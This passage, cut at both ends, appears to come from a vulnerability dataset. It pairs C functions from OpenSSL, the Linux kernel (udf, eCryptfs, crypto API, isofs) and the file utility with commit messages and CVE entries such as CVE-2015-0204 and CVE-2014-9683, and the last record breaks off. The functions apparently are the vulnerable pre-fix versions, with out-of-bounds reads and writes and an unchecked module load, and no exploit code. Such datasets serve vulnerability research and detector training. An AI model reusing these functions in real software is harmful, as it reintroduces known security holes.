SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } n2s(p,i); /* Store PSK identity hint for later use, hint is used * in ssl3_send_client_key_exchange. Assume that the * maximum length of a PSK identity hint can be as * long as the maximum length of a PSK identity. */ if (i > PSK_MAX_IDENTITY_LEN) { al=SSL_AD_HANDSHAKE_FAILURE; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_DATA_LENGTH_TOO_LONG); goto f_err; } if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_BAD_PSK_IDENTITY_HINT_LENGTH); goto f_err; } param_len += i; /* If received PSK identity hint contains NULL * characters, the hint is truncated from the first * NULL. p may not be ending with NULL, so create a * NULL-terminated string. */ memcpy(tmp_id_hint, p, i); memset(tmp_id_hint+i, 0, PSK_MAX_IDENTITY_LEN+1-i); if (s->ctx->psk_identity_hint != NULL) OPENSSL_free(s->ctx->psk_identity_hint); s->ctx->psk_identity_hint = BUF_strdup(tmp_id_hint); if (s->ctx->psk_identity_hint == NULL) { al=SSL_AD_HANDSHAKE_FAILURE; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, ERR_R_MALLOC_FAILURE); goto f_err; } p+=i; n-=param_len; } else #endif /* !OPENSSL_NO_PSK */ #ifndef OPENSSL_NO_SRP if (alg_k & SSL_kSRP) { param_len = 2; if (param_len > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_N_LENGTH); goto f_err; } param_len += i; if (!(s->srp_ctx.N=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (2 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 2; n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_G_LENGTH); goto f_err; } param_len += i; if (!(s->srp_ctx.g=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (1 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 1; i = (unsigned int)(p[0]); p++; if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_S_LENGTH); goto f_err; } param_len += i; if (!(s->srp_ctx.s=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (2 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 2; n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_B_LENGTH); goto f_err; } param_len += i; if (!(s->srp_ctx.B=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; n-=param_len; if (!srp_verify_server_param(s, &al)) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SRP_PARAMETERS); goto f_err; } /* We must check if there is a certificate */ #ifndef OPENSSL_NO_RSA if (alg_a & SSL_aRSA) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509); #else if (0) ; #endif #ifndef OPENSSL_NO_DSA else if (alg_a & SSL_aDSS) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509); #endif } else #endif /* !OPENSSL_NO_SRP */ #ifndef OPENSSL_NO_RSA if (alg_k & SSL_kRSA) { if ((rsa=RSA_new()) == NULL) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE); goto err; } param_len = 2; if (param_len > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_MODULUS_LENGTH); goto f_err; } param_len += i; if (!(rsa->n=BN_bin2bn(p,i,rsa->n))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (2 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 2; n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_E_LENGTH); goto f_err; } param_len += i; if (!(rsa->e=BN_bin2bn(p,i,rsa->e))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; n-=param_len; /* this should be because we are using an export cipher */ if (alg_a & SSL_aRSA) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509); else { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR); goto err; } s->session->sess_cert->peer_rsa_tmp=rsa; rsa=NULL; } #else /* OPENSSL_NO_RSA */ if (0) ; #endif #ifndef OPENSSL_NO_DH else if (alg_k & SSL_kDHE) { if ((dh=DH_new()) == NULL) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_DH_LIB); goto err; } param_len = 2; if (param_len > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_P_LENGTH); goto f_err; } param_len += i; if (!(dh->p=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (2 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 2; n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_G_LENGTH); goto f_err; } param_len += i; if (!(dh->g=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; if (2 > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } param_len += 2; n2s(p,i); if (i > n - param_len) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_DH_PUB_KEY_LENGTH); goto f_err; } param_len += i; if (!(dh->pub_key=BN_bin2bn(p,i,NULL))) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_BN_LIB); goto err; } p+=i; n-=param_len; if (!ssl_security(s, SSL_SECOP_TMP_DH, DH_security_bits(dh), 0, dh)) { al=SSL_AD_HANDSHAKE_FAILURE; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_DH_KEY_TOO_SMALL); goto f_err; } #ifndef OPENSSL_NO_RSA if (alg_a & SSL_aRSA) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509); #else if (0) ; #endif #ifndef OPENSSL_NO_DSA else if (alg_a & SSL_aDSS) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_DSA_SIGN].x509); #endif /* else anonymous DH, so no certificate or pkey. */ s->session->sess_cert->peer_dh_tmp=dh; dh=NULL; } else if ((alg_k & SSL_kDHr) || (alg_k & SSL_kDHd)) { al=SSL_AD_ILLEGAL_PARAMETER; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_TRIED_TO_USE_UNSUPPORTED_CIPHER); goto f_err; } #endif /* !OPENSSL_NO_DH */ #ifndef OPENSSL_NO_ECDH else if (alg_k & SSL_kECDHE) { EC_GROUP *ngroup; const EC_GROUP *group; if ((ecdh=EC_KEY_new()) == NULL) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE); goto err; } /* Extract elliptic curve parameters and the * server's ephemeral ECDH public key. * Keep accumulating lengths of various components in * param_len and make sure it never exceeds n. */ /* XXX: For now we only support named (not generic) curves * and the ECParameters in this case is just three bytes. We * also need one byte for the length of the encoded point */ param_len=4; if (param_len > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } /* Check curve is one of our preferences, if not server has * sent an invalid curve. ECParameters is 3 bytes. */ if (!tls1_check_curve(s, p, 3)) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_CURVE); goto f_err; } if ((curve_nid = tls1_ec_curve_id2nid(*(p + 2))) == 0) { al=SSL_AD_INTERNAL_ERROR; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNABLE_TO_FIND_ECDH_PARAMETERS); goto f_err; } ngroup = EC_GROUP_new_by_curve_name(curve_nid); if (ngroup == NULL) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB); goto err; } if (EC_KEY_set_group(ecdh, ngroup) == 0) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_EC_LIB); goto err; } EC_GROUP_free(ngroup); group = EC_KEY_get0_group(ecdh); if (SSL_C_IS_EXPORT(s->s3->tmp.new_cipher) && (EC_GROUP_get_degree(group) > 163)) { al=SSL_AD_EXPORT_RESTRICTION; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_ECGROUP_TOO_LARGE_FOR_CIPHER); goto f_err; } p+=3; /* Next, get the encoded ECPoint */ if (((srvr_ecpoint = EC_POINT_new(group)) == NULL) || ((bn_ctx = BN_CTX_new()) == NULL)) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_MALLOC_FAILURE); goto err; } encoded_pt_len = *p; /* length of encoded point */ p+=1; if ((encoded_pt_len > n - param_len) || (EC_POINT_oct2point(group, srvr_ecpoint, p, encoded_pt_len, bn_ctx) == 0)) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_ECPOINT); goto f_err; } param_len += encoded_pt_len; n-=param_len; p+=encoded_pt_len; /* The ECC/TLS specification does not mention * the use of DSA to sign ECParameters in the server * key exchange message. We do support RSA and ECDSA. */ if (0) ; #ifndef OPENSSL_NO_RSA else if (alg_a & SSL_aRSA) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_RSA_ENC].x509); #endif #ifndef OPENSSL_NO_ECDSA else if (alg_a & SSL_aECDSA) pkey=X509_get_pubkey(s->session->sess_cert->peer_pkeys[SSL_PKEY_ECC].x509); #endif /* else anonymous ECDH, so no certificate or pkey. */ EC_KEY_set_public_key(ecdh, srvr_ecpoint); s->session->sess_cert->peer_ecdh_tmp=ecdh; ecdh=NULL; BN_CTX_free(bn_ctx); bn_ctx = NULL; EC_POINT_free(srvr_ecpoint); srvr_ecpoint = NULL; } else if (alg_k) { al=SSL_AD_UNEXPECTED_MESSAGE; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_UNEXPECTED_MESSAGE); goto f_err; } #endif /* !OPENSSL_NO_ECDH */ /* p points to the next byte, there are 'n' bytes left */ /* if it was signed, check the signature */ if (pkey != NULL) { if (SSL_USE_SIGALGS(s)) { int rv; if (2 > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } rv = tls12_check_peer_sigalg(&md, s, p, pkey); if (rv == -1) goto err; else if (rv == 0) { goto f_err; } #ifdef SSL_DEBUG fprintf(stderr, "USING TLSv1.2 HASH %s\n", EVP_MD_name(md)); #endif p += 2; n -= 2; } else md = EVP_sha1(); if (2 > n) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE, SSL_R_LENGTH_TOO_SHORT); goto f_err; } n2s(p,i); n-=2; j=EVP_PKEY_size(pkey); /* Check signature length. If n is 0 then signature is empty */ if ((i != n) || (n > j) || (n <= 0)) { /* wrong packet length */ SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_WRONG_SIGNATURE_LENGTH); goto f_err; } #ifndef OPENSSL_NO_RSA if (pkey->type == EVP_PKEY_RSA && !SSL_USE_SIGALGS(s)) { int num; unsigned int size; j=0; q=md_buf; for (num=2; num > 0; num--) { EVP_MD_CTX_set_flags(&md_ctx, EVP_MD_CTX_FLAG_NON_FIPS_ALLOW); EVP_DigestInit_ex(&md_ctx,(num == 2) ?s->ctx->md5:s->ctx->sha1, NULL); EVP_DigestUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE); EVP_DigestUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE); EVP_DigestUpdate(&md_ctx,param,param_len); EVP_DigestFinal_ex(&md_ctx,q,&size); q+=size; j+=size; } i=RSA_verify(NID_md5_sha1, md_buf, j, p, n, pkey->pkey.rsa); if (i < 0) { al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_RSA_DECRYPT); goto f_err; } if (i == 0) { /* bad signature */ al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE); goto f_err; } } else #endif { EVP_VerifyInit_ex(&md_ctx, md, NULL); EVP_VerifyUpdate(&md_ctx,&(s->s3->client_random[0]),SSL3_RANDOM_SIZE); EVP_VerifyUpdate(&md_ctx,&(s->s3->server_random[0]),SSL3_RANDOM_SIZE); EVP_VerifyUpdate(&md_ctx,param,param_len); if (EVP_VerifyFinal(&md_ctx,p,(int)n,pkey) <= 0) { /* bad signature */ al=SSL_AD_DECRYPT_ERROR; SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_BAD_SIGNATURE); goto f_err; } } } else { /* aNULL, aSRP or kPSK do not need public keys */ if (!(alg_a & (SSL_aNULL|SSL_aSRP)) && !(alg_k & SSL_kPSK)) { /* Might be wrong key type, check it */ if (ssl3_check_cert_and_algorithm(s)) /* Otherwise this shouldn't happen */ SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,ERR_R_INTERNAL_ERROR); goto err; } /* still data left over */ if (n != 0) { SSLerr(SSL_F_SSL3_GET_KEY_EXCHANGE,SSL_R_EXTRA_DATA_IN_MESSAGE); goto f_err; } } EVP_PKEY_free(pkey); EVP_MD_CTX_cleanup(&md_ctx); return(1); f_err: ssl3_send_alert(s,SSL3_AL_FATAL,al); err: EVP_PKEY_free(pkey); #ifndef OPENSSL_NO_RSA if (rsa != NULL) RSA_free(rsa); #endif #ifndef OPENSSL_NO_DH if (dh != NULL) DH_free(dh); #endif #ifndef OPENSSL_NO_ECDH BN_CTX_free(bn_ctx); EC_POINT_free(srvr_ecpoint); if (ecdh != NULL) EC_KEY_free(ecdh); #endif EVP_MD_CTX_cleanup(&md_ctx); return(-1); }

None

CVE-2015-0204

The ssl3_get_key_exchange function in s3_clnt.c in OpenSSL before 0.9.8zd, 1.0.0 before 1.0.0p, and 1.0.1 before 1.0.1k allows remote SSL servers to conduct RSA-to-EXPORT_RSA downgrade attacks and facilitate brute-force decryption by offering a weak ephemeral RSA key in a noncompliant role, related to the "FREAK" issue. NOTE: the scope of this CVE is only client code based on OpenSSL, not EXPORT_RSA issues associated with servers or other TLS implementations.

https://nvd.nist.gov/vuln/detail/CVE-2015-0204

linux

e237ec37ec154564f8690c5bd1795339955eeef9

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/e237ec37ec154564f8690c5bd1795339955eeef9

udf: Check component length before reading it Check that length specified in a component of a symlink fits in the input buffer we are reading. Also properly ignore component length for component types that do not use it. Otherwise we read memory after end of buffer for corrupted udf image. Reported-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

static int udf_pc_to_char(struct super_block *sb, unsigned char *from, int fromlen, unsigned char *to, int tolen) { struct pathComponent *pc; int elen = 0; int comp_len; unsigned char *p = to; /* Reserve one byte for terminating \0 */ tolen--; while (elen < fromlen) { pc = (struct pathComponent *)(from + elen); switch (pc->componentType) { case 1: /* * Symlink points to some place which should be agreed * upon between originator and receiver of the media. Ignore. */ if (pc->lengthComponentIdent > 0) break; /* Fall through */ case 2: if (tolen == 0) return -ENAMETOOLONG; p = to; *p++ = '/'; tolen--; break; case 3: if (tolen < 3) return -ENAMETOOLONG; memcpy(p, "../", 3); p += 3; tolen -= 3; break; case 4: if (tolen < 2) return -ENAMETOOLONG; memcpy(p, "./", 2); p += 2; tolen -= 2; /* that would be . - just ignore */ break; case 5: comp_len = udf_get_filename(sb, pc->componentIdent, pc->lengthComponentIdent, p, tolen); p += comp_len; tolen -= comp_len; if (tolen == 0) return -ENAMETOOLONG; *p++ = '/'; tolen--; break; } elen += sizeof(struct pathComponent) + pc->lengthComponentIdent; } if (p > to + 1) p[-1] = '\0'; else p[0] = '\0'; return 0; }

symlink.c

CVE-2014-9730

The udf_pc_to_char function in fs/udf/symlink.c in the Linux kernel before 3.18.2 relies on component lengths that are unused, which allows local users to cause a denial of service (system crash) via a crafted UDF filesystem image.

https://nvd.nist.gov/vuln/detail/CVE-2014-9730

linux

942080643bce061c3dd9d5718d3b745dcb39a8bc

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/942080643bce061c3dd9d5718d3b745dcb39a8bc

eCryptfs: Remove buggy and unnecessary write in file name decode routine Dmitry Chernenkov used KASAN to discover that eCryptfs writes past the end of the allocated buffer during encrypted filename decoding. This fix corrects the issue by getting rid of the unnecessary 0 write when the current bit offset is 2. Signed-off-by: Michael Halcrow <mhalcrow@google.com> Reported-by: Dmitry Chernenkov <dmitryc@google.com> Suggested-by: Kees Cook <keescook@chromium.org> Cc: stable@vger.kernel.org # v2.6.29+: 51ca58d eCryptfs: Filename Encryption: Encoding and encryption functions Signed-off-by: Tyler Hicks <tyhicks@canonical.com>

ecryptfs_decode_from_filename(unsigned char *dst, size_t *dst_size, const unsigned char *src, size_t src_size) { u8 current_bit_offset = 0; size_t src_byte_offset = 0; size_t dst_byte_offset = 0; if (dst == NULL) { (*dst_size) = ecryptfs_max_decoded_size(src_size); goto out; } while (src_byte_offset < src_size) { unsigned char src_byte = filename_rev_map[(int)src[src_byte_offset]]; switch (current_bit_offset) { case 0: dst[dst_byte_offset] = (src_byte << 2); current_bit_offset = 6; break; case 6: dst[dst_byte_offset++] |= (src_byte >> 4); dst[dst_byte_offset] = ((src_byte & 0xF) << 4); current_bit_offset = 4; break; case 4: dst[dst_byte_offset++] |= (src_byte >> 2); dst[dst_byte_offset] = (src_byte << 6); current_bit_offset = 2; break; case 2: dst[dst_byte_offset++] |= (src_byte); dst[dst_byte_offset] = 0; current_bit_offset = 0; break; } src_byte_offset++; } (*dst_size) = dst_byte_offset; out: return; }

crypto.c

CVE-2014-9683

Off-by-one error in the ecryptfs_decode_from_filename function in fs/ecryptfs/crypto.c in the eCryptfs subsystem in the Linux kernel before 3.18.2 allows local users to cause a denial of service (buffer overflow and system crash) or possibly gain privileges via a crafted filename.

https://nvd.nist.gov/vuln/detail/CVE-2014-9683

linux

4943ba16bbc2db05115707b3ff7b4874e9e3c560

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4943ba16bbc2db05115707b3ff7b4874e9e3c560

crypto: include crypto- module prefix in template This adds the module loading prefix "crypto-" to the template lookup as well. For example, attempting to load 'vfat(blowfish)' via AF_ALG now correctly includes the "crypto-" prefix at every level, correctly rejecting "vfat": net-pf-38 algif-hash crypto-vfat(blowfish) crypto-vfat(blowfish)-all crypto-vfat Reported-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: Kees Cook <keescook@chromium.org> Acked-by: Mathias Krause <minipli@googlemail.com> Signed-off-by: Herbert Xu <herbert@gondor.apana.org.au>

struct crypto_template *crypto_lookup_template(const char *name) { return try_then_request_module(__crypto_lookup_template(name), "%s", name); }

algapi.c

CVE-2014-9644

The Crypto API in the Linux kernel before 3.18.5 allows local users to load arbitrary kernel modules via a bind system call for an AF_ALG socket with a parenthesized module template expression in the salg_name field, as demonstrated by the vfat(aes) expression, a different vulnerability than CVE-2013-7421.

https://nvd.nist.gov/vuln/detail/CVE-2014-9644

file

65437cee25199dbd385fb35901bc0011e164276c

https://github.com/file/file

https://github.com/file/file/commit/65437cee25199dbd385fb35901bc0011e164276c

Limit string printing to 100 chars, and add flags I forgot in the previous commit.

donote(struct magic_set *ms, void *vbuf, size_t offset, size_t size, int clazz, int swap, size_t align, int *flags, uint16_t *notecount) { Elf32_Nhdr nh32; Elf64_Nhdr nh64; size_t noff, doff; uint32_t namesz, descsz; unsigned char *nbuf = CAST(unsigned char *, vbuf); if (*notecount == 0) return 0; --*notecount; if (xnh_sizeof + offset > size) { /* * We're out of note headers. */ return xnh_sizeof + offset; } (void)memcpy(xnh_addr, &nbuf[offset], xnh_sizeof); offset += xnh_sizeof; namesz = xnh_namesz; descsz = xnh_descsz; if ((namesz == 0) && (descsz == 0)) { /* * We're out of note headers. */ return (offset >= size) ? offset : size; } if (namesz & 0x80000000) { (void)file_printf(ms, ", bad note name size 0x%lx", (unsigned long)namesz); return 0; } if (descsz & 0x80000000) { (void)file_printf(ms, ", bad note description size 0x%lx", (unsigned long)descsz); return 0; } noff = offset; doff = ELF_ALIGN(offset + namesz); if (offset + namesz > size) { /* * We're past the end of the buffer. */ return doff; } offset = ELF_ALIGN(doff + descsz); if (doff + descsz > size) { /* * We're past the end of the buffer. */ return (offset >= size) ? offset : size; } if ((*flags & FLAGS_DID_OS_NOTE) == 0) { if (do_os_note(ms, nbuf, xnh_type, swap, namesz, descsz, noff, doff, flags)) return size; } if ((*flags & FLAGS_DID_BUILD_ID) == 0) { if (do_bid_note(ms, nbuf, xnh_type, swap, namesz, descsz, noff, doff, flags)) return size; } if ((*flags & FLAGS_DID_NETBSD_PAX) == 0) { if (do_pax_note(ms, nbuf, xnh_type, swap, namesz, descsz, noff, doff, flags)) return size; } if ((*flags & FLAGS_DID_CORE) == 0) { if (do_core_note(ms, nbuf, xnh_type, swap, namesz, descsz, noff, doff, flags, size, clazz)) return size; } if (namesz == 7 && strcmp((char *)&nbuf[noff], "NetBSD") == 0) { switch (xnh_type) { case NT_NETBSD_VERSION: return size; case NT_NETBSD_MARCH: if (*flags & FLAGS_DID_NETBSD_MARCH) return size; if (file_printf(ms, ", compiled for: %.*s", (int)descsz, (const char *)&nbuf[doff]) == -1) return size; break; case NT_NETBSD_CMODEL: if (*flags & FLAGS_DID_NETBSD_CMODEL) return size; if (file_printf(ms, ", compiler model: %.*s", (int)descsz, (const char *)&nbuf[doff]) == -1) return size; break; default: if (*flags & FLAGS_DID_NETBSD_UNKNOWN) return size; if (file_printf(ms, ", note=%u", xnh_type) == -1) return size; break; } return size; } return offset; }

readelf.c

CVE-2014-9621

The ELF parser in file 5.16 through 5.21 allows remote attackers to cause a denial of service via a long string.

https://nvd.nist.gov/vuln/detail/CVE-2014-9621

linux

4e2024624e678f0ebb916e6192bd23c1f9fdf696

https://github.com/torvalds/linux

https://github.com/torvalds/linux/commit/4e2024624e678f0ebb916e6192bd23c1f9fdf696

isofs: Fix unchecked printing of ER records We didn't check length of rock ridge ER records before printing them. Thus corrupted isofs image can cause us to access and print some memory behind the buffer with obvious consequences. Reported-and-tested-by: Carl Henrik Lunde <chlunde@ping.uio.no> CC: stable@vger.kernel.org Signed-off-by: Jan Kara <jack@suse.cz>

parse_rock_ridge_inode_internal(struct iso_directory_record *de, struct inode *inode, int flags) { int symlink_len = 0; int cnt, sig; unsigned int reloc_block; struct inode *reloc; struct rock_ridge *rr; int rootflag; struct rock_state rs; int ret = 0; if (!ISOFS_SB(inode->i_sb)->s_rock) return 0; init_rock_state(&rs, inode); setup_rock_ridge(de, inode, &rs); if (flags & RR_REGARD_XA) { rs.chr += 14; rs.len -= 14; if (rs.len < 0) rs.len = 0; } repeat: while (rs.len > 2) { /* There may be one byte for padding somewhere */ rr = (struct rock_ridge *)rs.chr; /* * Ignore rock ridge info if rr->len is out of range, but * don't return -EIO because that would make the file * invisible. */ if (rr->len < 3) goto out; /* Something got screwed up here */ sig = isonum_721(rs.chr); if (rock_check_overflow(&rs, sig)) goto eio; rs.chr += rr->len; rs.len -= rr->len; /* * As above, just ignore the rock ridge info if rr->len * is bogus. */ if (rs.len < 0) goto out; /* Something got screwed up here */ switch (sig) { #ifndef CONFIG_ZISOFS /* No flag for SF or ZF */ case SIG('R', 'R'): if ((rr->u.RR.flags[0] & (RR_PX | RR_TF | RR_SL | RR_CL)) == 0) goto out; break; #endif case SIG('S', 'P'): if (check_sp(rr, inode)) goto out; break; case SIG('C', 'E'): rs.cont_extent = isonum_733(rr->u.CE.extent); rs.cont_offset = isonum_733(rr->u.CE.offset); rs.cont_size = isonum_733(rr->u.CE.size); break; case SIG('E', 'R'): ISOFS_SB(inode->i_sb)->s_rock = 1; printk(KERN_DEBUG "ISO 9660 Extensions: "); { int p; for (p = 0; p < rr->u.ER.len_id; p++) printk("%c", rr->u.ER.data[p]); } printk("\n"); break; case SIG('P', 'X'): inode->i_mode = isonum_733(rr->u.PX.mode); set_nlink(inode, isonum_733(rr->u.PX.n_links)); i_uid_write(inode, isonum_733(rr->u.PX.uid)); i_gid_write(inode, isonum_733(rr->u.PX.gid)); break; case SIG('P', 'N'): { int high, low; high = isonum_733(rr->u.PN.dev_high); low = isonum_733(rr->u.PN.dev_low); /* * The Rock Ridge standard specifies that if * sizeof(dev_t) <= 4, then the high field is * unused, and the device number is completely * stored in the low field. Some writers may * ignore this subtlety, * and as a result we test to see if the entire * device number is * stored in the low field, and use that. */ if ((low & ~0xff) && high == 0) { inode->i_rdev = MKDEV(low >> 8, low & 0xff); } else { inode->i_rdev = MKDEV(high, low); } } break; case SIG('T', 'F'): /* * Some RRIP writers incorrectly place ctime in the * TF_CREATE field. Try to handle this correctly for * either case. */ /* Rock ridge never appears on a High Sierra disk */ cnt = 0; if (rr->u.TF.flags & TF_CREATE) { inode->i_ctime.tv_sec = iso_date(rr->u.TF.times[cnt++].time, 0); inode->i_ctime.tv_nsec = 0; } if (rr->u.TF.flags & TF_MODIFY) { inode->i_mtime.tv_sec = iso_date(rr->u.TF.times[cnt++].time, 0); inode->i_mtime.tv_nsec = 0; } if (rr->u.TF.flags & TF_ACCESS) { inode->i_atime.tv_sec = iso_date(rr->u.TF.times[cnt++].time, 0); inode->i_atime.tv_nsec = 0; } if (rr->u.TF.flags & TF_ATTRIBUTES) { inode->i_ctime.tv_sec = iso_date(rr->u.TF.times[cnt++].time, 0); inode->i_ctime.tv_nsec = 0; } break; case SIG('S', 'L'): { int slen; struct SL_component *slp; struct SL_component *oldslp; slen = rr->len - 5; slp = &rr->u.SL.link; inode->i_size = symlink_len; while (slen > 1) { rootflag = 0; switch (slp->flags & ~1) { case 0: inode->i_size += slp->len; break; case 2: inode->i_size += 1; break; case 4: inode->i_size += 2; break; case 8: rootflag = 1; inode->i_size += 1; break; default: printk("Symlink component flag " "not implemented\n"); } slen -= slp->len + 2; oldslp = slp; slp = (struct SL_component *) (((char *)slp) + slp->len + 2); if (slen < 2) { if (((rr->u.SL. flags & 1) != 0) && ((oldslp-> flags & 1) == 0)) inode->i_size += 1; break; } /* * If this component record isn't * continued, then append a '/'. */ if (!rootflag && (oldslp->flags & 1) == 0) inode->i_size += 1; } } symlink_len = inode->i_size; break; case SIG('R', 'E'): printk(KERN_WARNING "Attempt to read inode for " "relocated directory\n"); goto out; case SIG('C', 'L'): if (flags & RR_RELOC_DE) { printk(KERN_ERR "ISOFS: Recursive directory relocation " "is not supported\n"); goto eio; } reloc_block = isonum_733(rr->u.CL.location); if (reloc_block == ISOFS_I(inode)->i_iget5_block && ISOFS_I(inode)->i_iget5_offset == 0) { printk(KERN_ERR "ISOFS: Directory relocation points to " "itself\n"); goto eio; } ISOFS_I(inode)->i_first_extent = reloc_block; reloc = isofs_iget_reloc(inode->i_sb, reloc_block, 0); if (IS_ERR(reloc)) { ret = PTR_ERR(reloc); goto out; } inode->i_mode = reloc->i_mode; set_nlink(inode, reloc->i_nlink); inode->i_uid = reloc->i_uid; inode->i_gid = reloc->i_gid; inode->i_rdev = reloc->i_rdev; inode->i_size = reloc->i_size; inode->i_blocks = reloc->i_blocks; inode->i_atime = reloc->i_atime; inode->i_ctime = reloc->i_ctime; inode->i_mtime = reloc->i_mtime; iput(reloc); break; #ifdef CONFIG_ZISOFS case SIG('Z', 'F'): { int algo; if (ISOFS_SB(inode->i_sb)->s_nocompress) break; algo = isonum_721(rr->u.ZF.algorithm); if (algo == SIG('p', 'z')) { int block_shift = isonum_711(&rr->u.ZF.parms[1]); if (block_shift > 17) { printk(KERN_WARNING "isofs: " "Can't handle ZF block " "size of 2^%d\n", block_shift); } else { /* * Note: we don't change * i_blocks here */ ISOFS_I(inode)->i_file_format = isofs_file_compressed; /* * Parameters to compression * algorithm 